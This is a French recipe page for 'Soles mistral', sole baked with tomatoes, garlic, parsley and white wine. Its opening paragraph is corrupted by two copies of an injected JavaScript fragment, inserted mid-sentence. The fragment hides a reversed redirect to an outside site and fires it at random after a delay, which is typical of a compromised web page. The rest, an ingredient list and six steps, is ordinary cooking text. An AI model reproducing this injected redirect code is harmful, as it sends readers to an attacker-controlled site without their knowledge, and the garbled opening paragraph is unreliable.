Soles mistral
2018-01-01Pelez, émincez l’oignon. Pelez les tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomates. Pelez et coupez en deux les gousses d’ail. ôtez le germe. Lavez, essorez le persil plat, et hachez ensembles les tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomates, les gousses d’ail, le persil.
Ingrédients
- Pour 4 personnes
- 4 soles
- 2 tomates
- 2 oignons
- 2 gousses d'ail
- 2 branches de persil blanc
- 1 verre de vin blanc
- 75 g de beurre
- 30 g de farine
- De la chapelure
- Sel fin
Préparation de la recette
Etape 1
Pelez, émincez l'oignon. Pelez les tomates. Pelez et coupez en deux les gousses d'ail. ôtez le germe.
Etape 2
Lavez, essorez le persil plat, et hachez ensembles les tomates, les gousses d'ail, le persil.
Etape 3
Déposez dans une casserole les tomates, les gousses d'ail et le persil haché, versez le concentré de tomates, le beurre coupé en petits morceaux. Bien mélanger.
Etape 4
Ajoutez peu à peu la farine, tout en remuant sur feu moyen, et faites réduire de moitié. Lavez, séchez les soles. Les saler et les poivrer.
Etape 5
Déposez les dans un plat allant au four, arrosez les avec le verre de vin blanc. Préchauffez le four à 180° C thermostat 6.
Etape 6
Enfournez et faites cuire pendant 10 minutes.
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